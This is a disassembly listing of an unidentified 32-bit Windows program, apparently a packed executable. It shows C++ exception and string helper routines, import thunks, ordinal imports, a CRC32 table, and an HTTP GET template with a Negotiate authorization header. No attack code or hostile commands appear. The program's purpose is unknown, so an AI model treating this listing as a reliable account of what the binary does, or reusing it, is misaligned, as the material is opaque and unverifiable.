loc_41FD69: ; CODE XREF: sub_41FD08+25j
; sub_41FD08+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_41FD08 endp
; =============== S U B R O U T I N E =======================================
sub_41FD7B proc near ; CODE XREF: sub_4099AA+21p
; sub_41FCA1+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_41FDA2
push esi
call sub_415CF0
inc eax
push eax
call sub_415DC9
pop ecx
test eax, eax
pop ecx
jz short loc_41FDA2
push esi
push eax
call sub_415C00
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41FDA2: ; CODE XREF: sub_41FD7B+7j
; sub_41FD7B+1Aj
xor eax, eax
pop esi
retn
sub_41FD7B endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41FDB0 proc near ; CODE XREF: sub_404B1E+15p
; sub_404B77+15p ...
mov eax, offset loc_4202A0
call sub_416458
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_404D21
mov esi, offset aStringTooLong ; "string too long"
push esi
call sub_415CF0
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_404D5D
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_41FE0A
lea eax, [ebp-3Ch]
push offset dword_421F80
push eax
mov dword ptr [ebp-3Ch], offset off_421C3C
call sub_420209
pop esi
sub_41FDB0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41FE0A proc near ; CODE XREF: sub_41FDB0+3Fp
; sub_41FFDC+3Fp
mov eax, offset loc_4202B4
call sub_416458
push ecx
push ecx
push ebx
push esi
lea eax, [ebp-10h]
push edi
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset byte_438FDC
call sub_42012E
mov ebx, [ebp+8]
and dword ptr [ebp-4], 0
lea edi, [esi+0Ch]
push 0
mov al, [ebx]
mov ecx, edi
mov [edi], al
call sub_404D21
push dword_421248
mov ecx, edi
push 0
push ebx
call sub_404BCE
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_421C5C
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_41FE0A endp
; =============== S U B R O U T I N E =======================================
sub_41FE6E proc near ; DATA XREF: .nsp0:00421C40o
; .nsp0:00421C60o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_41FE7A
mov eax, offset dword_421258
locret_41FE7A: ; CODE XREF: sub_41FE6E+5j
retn
sub_41FE6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FE7B proc near ; DATA XREF: .nsp0:00421C64o
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_41FEF1
lea eax, [ebp+var_1C]
push offset dword_421FF0
push eax
call sub_420209
sub_41FE7B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41FE98 proc near ; CODE XREF: .nsp0:0041FED8p
; DATA XREF: .nsp0:00421FF4o
mov eax, offset loc_4202C8
call sub_416458
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_421C5C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_404D21
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_4201B5
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_41FE98 endp
; ---------------------------------------------------------------------------
loc_41FED5: ; DATA XREF: .nsp0:off_421C5Co
push esi
mov esi, ecx
call sub_41FE98
test byte ptr [esp+8], 1
jz short loc_41FEEB
push esi
call sub_416477
pop ecx
loc_41FEEB: ; CODE XREF: .nsp0:0041FEE2j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_41FEF1 proc near ; CODE XREF: sub_41FE7B+Ap
; sub_41FFC4+7p ...
mov eax, offset loc_4202DC
call sub_416458
push ecx
push ebx
mov ebx, [ebp+8]
push esi
push edi
mov esi, ecx
push ebx
mov [ebp-10h], esi
call sub_42016B
mov al, [ebx+0Ch]
and dword ptr [ebp-4], 0
add ebx, 0Ch
lea edi, [esi+0Ch]
push 0
mov ecx, edi
mov [edi], al
call sub_404D21
push dword_421248
mov ecx, edi
push 0
push ebx
call sub_404BCE
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_421C5C
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_41FEF1 endp
; =============== S U B R O U T I N E =======================================
sub_41FF4E proc near ; CODE XREF: sub_41FF8B+20p
; DATA XREF: .nsp0:00421F84o
mov eax, offset loc_4202F0
call sub_416458
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_421C5C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_404D21
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_4201B5
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_41FF4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FF8B proc near ; DATA XREF: .nsp0:00421C44o
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_41FFC4
lea eax, [ebp+var_1C]
push offset dword_421F80
push eax
call sub_420209
loc_41FFA8: ; DATA XREF: .nsp0:off_421C3Co
push esi
mov esi, ecx
call sub_41FF4E
test [esp+20h+var_18], 1
jz short loc_41FFBE
push esi
call sub_416477
pop ecx
loc_41FFBE: ; CODE XREF: sub_41FF8B+2Aj
mov eax, esi
pop esi
retn 4
sub_41FF8B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41FFC4 proc near ; CODE XREF: sub_41FF8B+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41FEF1
mov dword ptr [esi], offset off_421C3C
mov eax, esi
pop esi
retn 4
sub_41FFC4 endp
; =============== S U B R O U T I N E =======================================
sub_41FFDC proc near ; CODE XREF: sub_404BCE+13p
; sub_404D92+Ep
mov eax, offset loc_420304
call sub_416458
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_404D21
mov esi, offset aInvalidStringP ; "invalid string position"
push esi
call sub_415CF0
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_404D5D
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_41FE0A
lea eax, [ebp-3Ch]
push offset dword_4220A8
push eax
mov dword ptr [ebp-3Ch], offset off_421C6C
call sub_420209
pop esi
sub_41FFDC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_420036 proc near ; CODE XREF: sub_420073+20p
; DATA XREF: .nsp0:004220ACo
mov eax, offset loc_420318
call sub_416458
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_421C5C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_404D21
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_4201B5
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_420036 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420073 proc near ; DATA XREF: .nsp0:00421C74o
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4200AC
lea eax, [ebp+var_1C]
push offset dword_4220A8
push eax
call sub_420209
loc_420090: ; DATA XREF: .nsp0:off_421C6Co
push esi
mov esi, ecx
call sub_420036
test [esp+20h+var_18], 1
jz short loc_4200A6
push esi
call sub_416477
pop ecx
loc_4200A6: ; CODE XREF: sub_420073+2Aj
mov eax, esi
pop esi
retn 4
sub_420073 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4200AC proc near ; CODE XREF: sub_420073+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41FEF1
mov dword ptr [esi], offset off_421C6C
mov eax, esi
pop esi
retn 4
sub_4200AC endp
; =============== S U B R O U T I N E =======================================
sub_4200C4 proc near ; DATA XREF: .nsp0:0042300Co
; FUNCTION CHUNK AT 004200FA SIZE 0000000C BYTES
test byte_46979C, 1
jnz short loc_4200D4
or byte_46979C, 1
loc_4200D4: ; CODE XREF: sub_4200C4+7j
call sub_4200EE
test byte_46AB38, 1
jnz short loc_4200E9
or byte_46AB38, 1
loc_4200E9: ; CODE XREF: sub_4200C4+1Cj
jmp loc_4200FA
sub_4200C4 endp
; =============== S U B R O U T I N E =======================================
sub_4200EE proc near ; CODE XREF: sub_4200C4:loc_4200D4p
push offset nullsub_1
call sub_416840
pop ecx
retn
sub_4200EE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4200C4
loc_4200FA: ; CODE XREF: sub_4200C4:loc_4200E9j
push offset nullsub_1
call sub_416840
pop ecx
retn
; END OF FUNCTION CHUNK FOR sub_4200C4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_420106 proc near ; CODE XREF: sub_40446E+5Ep
; sub_405409+159p
jmp dword_4211D4
sub_420106 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42010C proc near ; CODE XREF: sub_4160C4+23p
; sub_416368+13p
jmp dword_421154
sub_42010C endp
; =============== S U B R O U T I N E =======================================
sub_420112 proc near ; DATA XREF: .nsp0:off_421C94o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4201B5
test [esp+4+arg_0], 1
jz short loc_420128
push esi
call sub_416477
pop ecx
loc_420128: ; CODE XREF: sub_420112+Dj
mov eax, esi
pop esi
retn 4
sub_420112 endp
; =============== S U B R O U T I N E =======================================
sub_42012E proc near ; CODE XREF: sub_41FE0A+1Fp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_421C94
push dword ptr [edi]
call sub_415CF0
inc eax
push eax
call sub_4167C5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42015D
push dword ptr [edi]
push eax
call sub_415C00
pop ecx
pop ecx
loc_42015D: ; CODE XREF: sub_42012E+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_42012E endp
; =============== S U B R O U T I N E =======================================
sub_42016B proc near ; CODE XREF: sub_41FEF1+17p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_421C94
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_4201A8
push dword ptr [edi+4]
call sub_415CF0
inc eax
push eax
call sub_4167C5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_4201AE
push dword ptr [edi+4]
push eax
call sub_415C00
pop ecx
pop ecx
jmp short loc_4201AE
; ---------------------------------------------------------------------------
loc_4201A8: ; CODE XREF: sub_42016B+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_4201AE: ; CODE XREF: sub_42016B+2Ej
; sub_42016B+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_42016B endp
; =============== S U B R O U T I N E =======================================
sub_4201B5 proc near ; CODE XREF: sub_41FE98+2Bp
; sub_41FF4E+2Bp ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_421C94
jz short locret_4201CA
push dword ptr [ecx+4]
call sub_416477
pop ecx
locret_4201CA: ; CODE XREF: sub_4201B5+Aj
retn
sub_4201B5 endp
; ---------------------------------------------------------------------------
mov eax, [ecx+4]
test eax, eax
jnz short locret_4201D7
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_4201D7: ; CODE XREF: .nsp0:004201D0j
retn
; =============== S U B R O U T I N E =======================================
sub_4201D8 proc near ; CODE XREF: .nsp0:004201F0p
mov dword ptr [ecx], offset off_421CB4
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_4201EC
push ecx
call sub_415E3D
pop ecx
locret_4201EC: ; CODE XREF: sub_4201D8+Bj
retn
sub_4201D8 endp
; ---------------------------------------------------------------------------
loc_4201ED: ; DATA XREF: .nsp0:off_421CB4o
push esi
mov esi, ecx
call sub_4201D8
test byte ptr [esp+8], 1
jz short loc_420203
push esi
call sub_416477
pop ecx
loc_420203: ; CODE XREF: .nsp0:004201FAj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420209 proc near ; CODE XREF: sub_41FDB0+54p
; sub_41FE7B+18p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_421CB8
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call dword_421184
pop edi
pop esi
leave
retn 8
sub_420209 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_420244 proc near ; DATA XREF: .nsp0:00421E84o
; FUNCTION CHUNK AT 00404B16 SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_404B16
sub_420244 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_420262
mov ecx, [ebp+8]
jmp loc_404B16
; ---------------------------------------------------------------------------
locret_420262: ; CODE XREF: .nsp0:00420254j
retn
; ---------------------------------------------------------------------------
loc_420263: ; DATA XREF: sub_4046AAo
mov eax, offset dword_421E58
jmp loc_416113
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+14h]
jmp loc_404B16
; ---------------------------------------------------------------------------
loc_420278: ; DATA XREF: .nsp0:00421EB4o
lea ecx, [ebp-1Ch]
jmp loc_404B16
; ---------------------------------------------------------------------------
loc_420280: ; DATA XREF: sub_40484Co
mov eax, offset dword_421E88
jmp loc_416113
; ---------------------------------------------------------------------------
align 4
loc_42028C: ; DATA XREF: sub_404DF9o
mov eax, offset dword_421EB8
jmp loc_416113
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-20h]
jmp loc_404B16
; ---------------------------------------------------------------------------
loc_4202A0: ; DATA XREF: sub_41FDB0o
mov eax, offset dword_421F90
jmp loc_416113
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-14h]
jmp sub_4201B5
; ---------------------------------------------------------------------------
loc_4202B4: ; DATA XREF: sub_41FE0Ao
mov eax, offset dword_421FB8
jmp loc_416113
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4201B5
; ---------------------------------------------------------------------------
loc_4202C8: ; DATA XREF: sub_41FE98o
mov eax, offset dword_422000
jmp loc_416113
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_4201B5
; ---------------------------------------------------------------------------
loc_4202DC: ; DATA XREF: sub_41FEF1o
mov eax, offset dword_422028
jmp loc_416113
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_4201B5
; ---------------------------------------------------------------------------
loc_4202F0: ; DATA XREF: sub_41FF4Eo
mov eax, offset dword_422050
jmp loc_416113
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-20h]
jmp loc_404B16
; ---------------------------------------------------------------------------
loc_420304: ; DATA XREF: sub_41FFDCo
mov eax, offset dword_4220B8
jmp loc_416113
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4201B5
; ---------------------------------------------------------------------------
loc_420318: ; DATA XREF: sub_420036o
mov eax, offset dword_4220E0
jmp loc_416113
; ---------------------------------------------------------------------------
align 4
dd 337h dup(0)
dword_421000 dd 22696h ; DATA XREF: sub_40A6A8+5Ar
dword_421004 dd 22AAEh ; DATA XREF: sub_41FAC2+173r
dword_421008 dd 22A9Ch ; DATA XREF: sub_41F845+3Er
; sub_41F845+261r
dword_42100C dd 22A8Ah ; DATA XREF: sub_41F845+5Br
; sub_41F845+B9r
dword_421010 dd 22A7Ah ; DATA XREF: sub_41E84C+F9r
dword_421014 dd 22A6Ah ; DATA XREF: sub_41DF9E+8r
dword_421018 dd 22A5Ah ; DATA XREF: sub_41DF66+Cr
dword_42101C dd 22A3Ch ; DATA XREF: sub_41DF48+5r
; sub_41DF59+6r
dword_421020 dd 22A28h ; DATA XREF: sub_41D503+2Cr
dword_421024 dd 22A18h ; DATA XREF: sub_41D3D5:loc_41D425r
; sub_41D44C:loc_41D49Fr
dword_421028 dd 22A06h ; DATA XREF: sub_41D1F7+3Fr
; sub_41D1F7+12Dr
dword_42102C dd 229F4h ; DATA XREF: sub_41D1F7+59r
; sub_41D1F7+8Dr
dword_421030 dd 229E6h ; DATA XREF: sub_41CC52+FFr
; sub_41CC52+166r ...
dword_421034 dd 229D6h ; DATA XREF: sub_41CC52+158r
; sub_41CF19+143r
dword_421038 dd 229C4h ; DATA XREF: sub_41CC52+19Dr
dword_42103C dd 229AAh ; DATA XREF: sub_41CB20+9r
dword_421040 dd 22992h ; DATA XREF: sub_41CB20:loc_41CB4Fr
; sub_41CB20+E1r
dword_421044 dd 22978h ; DATA XREF: sub_41CB20+CEr
dword_421048 dd 22348h ; DATA XREF: sub_401000+AAr
; sub_401447+95r ...
dword_42104C dd 22356h ; DATA XREF: sub_401000+27r
; sub_401447+1A6r ...
dword_421050 dd 22366h ; DATA XREF: sub_4010B2+18Cr
; sub_4010B2+2D4r ...
dword_421054 dd 22380h ; DATA XREF: sub_4010B2+182r
; sub_4018CA+FFr
dword_421058 dd 2239Ch ; DATA XREF: sub_40211A+20r
; sub_40AAD1+183r ...
dword_42105C dd 223B2h ; DATA XREF: sub_40211A+Er
; sub_40B16D+Dr ...
dword_421060 dd 223C2h ; DATA XREF: sub_4021FB+5Dr
; sub_40283D+E3r ...
dword_421064 dd 223CAh ; DATA XREF: sub_402FDD+66r
; sub_4030C0+65r ...
dword_421068 dd 223E0h ; DATA XREF: sub_4033CB+135r
; sub_406A32+80r ...
dword_42106C dd 223ECh ; DATA XREF: sub_4033CB+120r
; sub_4033CB+150r ...
dword_421070 dd 223FAh ; DATA XREF: sub_4033CB+103r
; sub_409E15+AEr ...
dword_421074 dd 22406h ; DATA XREF: sub_4033CB+E9r
dword_421078 dd 2241Ah ; DATA XREF: sub_4033CB+68r
; sub_406100+1C4r ...
dword_42107C dd 22428h ; DATA XREF: sub_405A89+18r
; sub_407276+58r ...
dword_421080 dd 2243Eh ; DATA XREF: sub_405F7E+9Fr
; sub_40AAD1+1B6r
dword_421084 dd 22450h ; DATA XREF: sub_405F7E+8Br
; sub_40AAD1+19Fr
dword_421088 dd 22462h ; DATA XREF: sub_406100+282r
; sub_407276:loc_4073B2r ...
dword_42108C dd 22472h ; DATA XREF: sub_406100+24Dr
; sub_407276+10Er ...
dword_421090 dd 22482h ; DATA XREF: sub_406100+1EEr
; sub_406A32+38r ...
dword_421094 dd 22490h ; DATA XREF: sub_406100+110r
; sub_409E15+10Fr ...
dword_421098 dd 224A6h ; DATA XREF: sub_4063B0+5E8r
; sub_4088A0+C0r ...
dword_42109C dd 224B2h ; DATA XREF: sub_4063B0+27Br
dword_4210A0 dd 224CAh ; DATA XREF: sub_4063B0+26Dr
dword_4210A4 dd 224E4h ; DATA XREF: sub_4063B0+20Dr
; sub_4063B0+5D7r ...
dword_4210A8 dd 224F4h ; DATA XREF: sub_4063B0+1FCr
; sub_4088A0+26r
dword_4210AC dd 22506h ; DATA XREF: sub_406A32+6Cr
; sub_40B712+259r ...
dword_4210B0 dd 22518h ; DATA XREF: sub_40778B+13Fr
dword_4210B4 dd 22530h ; DATA XREF: sub_40778B+D4r
dword_4210B8 dd 22548h ; DATA XREF: sub_40799F+77r
dword_4210BC dd 22570h ; DATA XREF: sub_40799F+6Br
; sub_40799F+22Fr
dword_4210C0 dd 22588h ; DATA XREF: sub_4089F2+13Ar
; sub_4089F2:loc_408EE2r ...
dword_4210C4 dd 22598h ; DATA XREF: sub_4089F2+11r
; sub_419EEF+15r ...
dword_4210C8 dd 225AAh ; DATA XREF: sub_4089F2+2r
; sub_409E15+FBr ...
dword_4210CC dd 225BEh ; DATA XREF: sub_409C08+2Dr
dword_4210D0 dd 225D0h ; DATA XREF: sub_409C92+26r
dword_4210D4 dd 225E0h ; DATA XREF: sub_409C92+1Dr
dword_4210D8 dd 225EEh ; DATA XREF: sub_409CCD+69r
dword_4210DC dd 22600h ; DATA XREF: sub_409CCD+36r
dword_4210E0 dd 22610h ; DATA XREF: sub_409CCD+25r
dword_4210E4 dd 22626h ; DATA XREF: sub_409D4F+96r
dword_4210E8 dd 22634h ; DATA XREF: sub_409D4F+60r
dword_4210EC dd 22642h ; DATA XREF: sub_409E15+17Er
; sub_409F9D+B4r ...
dword_4210F0 dd 22654h ; DATA XREF: sub_409E15+15Dr
dword_4210F4 dd 22670h ; DATA XREF: sub_409E15+126r
; sub_40C682+1BFr ...
dword_4210F8 dd 22686h ; DATA XREF: sub_409E15+35r
; sub_40CE55+3D2Fr
dword_4210FC dd 226ACh ; DATA XREF: sub_40A6A8+3Dr
dword_421100 dd 226BCh ; DATA XREF: sub_40A7FD+91r
dword_421104 dd 226CEh ; DATA XREF: sub_40A7FD+79r
; sub_413D67+Cr ...
dword_421108 dd 226E2h ; DATA XREF: sub_40A7FD+3Br
dword_42110C dd 226F0h ; DATA XREF: sub_40AAD1+24r
; .nsp0:004142A7r
dword_421110 dd 22700h ; DATA XREF: sub_40AAD1+1CFr
dword_421114 dd 22716h ; DATA XREF: sub_40BCEF+478r
; sub_40C59A+DFr ...
dword_421118 dd 22724h ; DATA XREF: sub_40C682+333r
; sub_40CE55+473Er ...
dword_42111C dd 22732h ; DATA XREF: sub_40C682+26Fr
; sub_413DD2+175r ...
dword_421120 dd 22740h ; DATA XREF: sub_40C682+262r
dword_421124 dd 22756h ; DATA XREF: sub_40C682:loc_40C847r
dword_421128 dd 22762h ; DATA XREF: sub_40C682+75r
; sub_40C682+309r
dword_42112C dd 22778h ; DATA XREF: sub_40C682+6Er
dword_421130 dd 22788h ; DATA XREF: sub_40CE55+4986r
; sub_4150CE+2Br
dword_421134 dd 2279Ah ; DATA XREF: sub_40CE55+3B20r
dword_421138 dd 227A6h ; DATA XREF: sub_41328A+13r
; sub_41BD71+20Dr ...
dword_42113C dd 227BCh ; DATA XREF: sub_413CA9+34r
; .nsp0:0041419Cr
dword_421140 dd 227D0h ; DATA XREF: sub_413DD2+184r
; sub_414061+1Fr ...
dword_421144 dd 227E4h ; DATA XREF: .nsp0:00414233r
dword_421148 dd 227F6h ; DATA XREF: sub_4149DE+1EBr
dword_42114C dd 2280Ah ; DATA XREF: sub_415E07+2Er
; sub_4174DF+AFr ...
dword_421150 dd 22816h ; DATA XREF: sub_415E3D+27r
; sub_418B28+2C4r ...
dword_421154 dd 22822h ; DATA XREF: sub_42010Cr
dword_421158 dd 2282Eh ; DATA XREF: sub_416AD4+6Cr
; sub_41E162+38r
dword_42115C dd 22848h ; DATA XREF: sub_416AD4+17r
dword_421160 dd 22858h ; DATA XREF: sub_4174DF+F0r
; sub_41915C+28r
dword_421164 dd 22866h ; DATA XREF: .nsp0:00417B97r
; sub_41CC52+59r
dword_421168 dd 22878h ; DATA XREF: .nsp0:00417B6Cr
dword_42116C dd 2288Ah ; DATA XREF: .nsp0:00417B1Er
dword_421170 dd 22898h ; DATA XREF: sub_418A83+2Fr
dword_421174 dd 228A6h ; DATA XREF: sub_418A83+11r
dword_421178 dd 228B4h ; DATA XREF: sub_418B28+23Fr
dword_42117C dd 228C2h ; DATA XREF: sub_41915C+76r
; sub_41920D+51r
dword_421180 dd 228D2h ; DATA XREF: sub_41DF82+Cr
dword_421184 dd 228E2h ; DATA XREF: sub_4196E9+215r
; sub_420209+2Er
dword_421188 dd 228F4h ; DATA XREF: sub_41AC48+21r
dword_42118C dd 22900h ; DATA XREF: sub_41BD71+5Er
; sub_41BD71+A7r
dword_421190 dd 22910h ; DATA XREF: sub_41BD71+42r
; sub_41BD71+14Dr ...
dword_421194 dd 22920h ; DATA XREF: sub_41BFC0+48r
; sub_41C1FF+14r ...
dword_421198 dd 2292Ch ; DATA XREF: sub_41C159+2Fr
dword_42119C dd 22936h ; DATA XREF: sub_41C159+1Ar
dword_4211A0 dd 22942h ; DATA XREF: sub_41C63E+138r
dword_4211A4 dd 2295Eh ; DATA XREF: sub_41CB20+11Fr
dd 0
dword_4211AC dd 80000074h ; DATA XREF: sub_405A0C+6Er
; sub_405A89+8Er
dword_4211B0 dd 80000073h ; DATA XREF: sub_405409+47r
; sub_405A0C+15r
dword_4211B4 dd 80000015h ; DATA XREF: sub_405409+8Dr
dword_4211B8 dd 8000000Ah ; DATA XREF: sub_405409+9Dr
dword_4211BC dd 80000002h ; DATA XREF: sub_405409+C4r
dword_4211C0 dd 8000000Dh ; DATA XREF: sub_405409+D8r
dword_4211C4 dd 80000001h ; DATA XREF: sub_405409+180r
dword_4211C8 dd 80000034h ; DATA XREF: .nsp0:0040530Cr
dword_4211CC dd 80000016h ; DATA XREF: .nsp0:004053F5r
dword_4211D0 dd 80000012h ; DATA XREF: sub_40446E+4Cr
; sub_405409+115r
dword_4211D4 dd 80000097h ; DATA XREF: sub_420106r
dword_4211D8 dd 8000000Bh ; DATA XREF: sub_40283D+27r
; sub_402DDD+2Ar ...
dword_4211DC dd 80000009h ; DATA XREF: sub_40283D+37r
; sub_402988+EDr ...
dword_4211E0 dd 80000017h ; DATA XREF: sub_40283D+46r
; sub_402DDD+49r ...
dword_4211E4 dd 80000004h ; DATA XREF: sub_40283D+61r
; sub_402DDD+64r ...
dword_4211E8 dd 80000010h ; DATA XREF: sub_40283D+7Er
; sub_40283D+135r ...
dword_4211EC dd 80000013h ; DATA XREF: sub_40283D+D1r
; sub_402988+26Br ...
dword_4211F0 dd 80000003h ; DATA XREF: sub_40283D+13Er
; sub_402DDD+154r ...
align 8
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40484C+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 8
dbl_421238 dq 1.388888888888889e-2 ; DATA XREF: sub_40465E+2Fr
dbl_421240 dq 1.666666666666667e-1 ; DATA XREF: sub_40465E+15r
dword_421248 dd 0FFFFFFFFh ; DATA XREF: sub_4046AA+16Fr
; sub_404B1Er ...
align 10h
dbl_421250 dq 1.333333333333333 ; DATA XREF: sub_4046AA+79r
dword_421258 dd 0 ; DATA XREF: sub_40484C+4Do
; sub_404BCE+5Bo ...
dword_42125C dd 0 ; DATA XREF: sub_40B41E+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
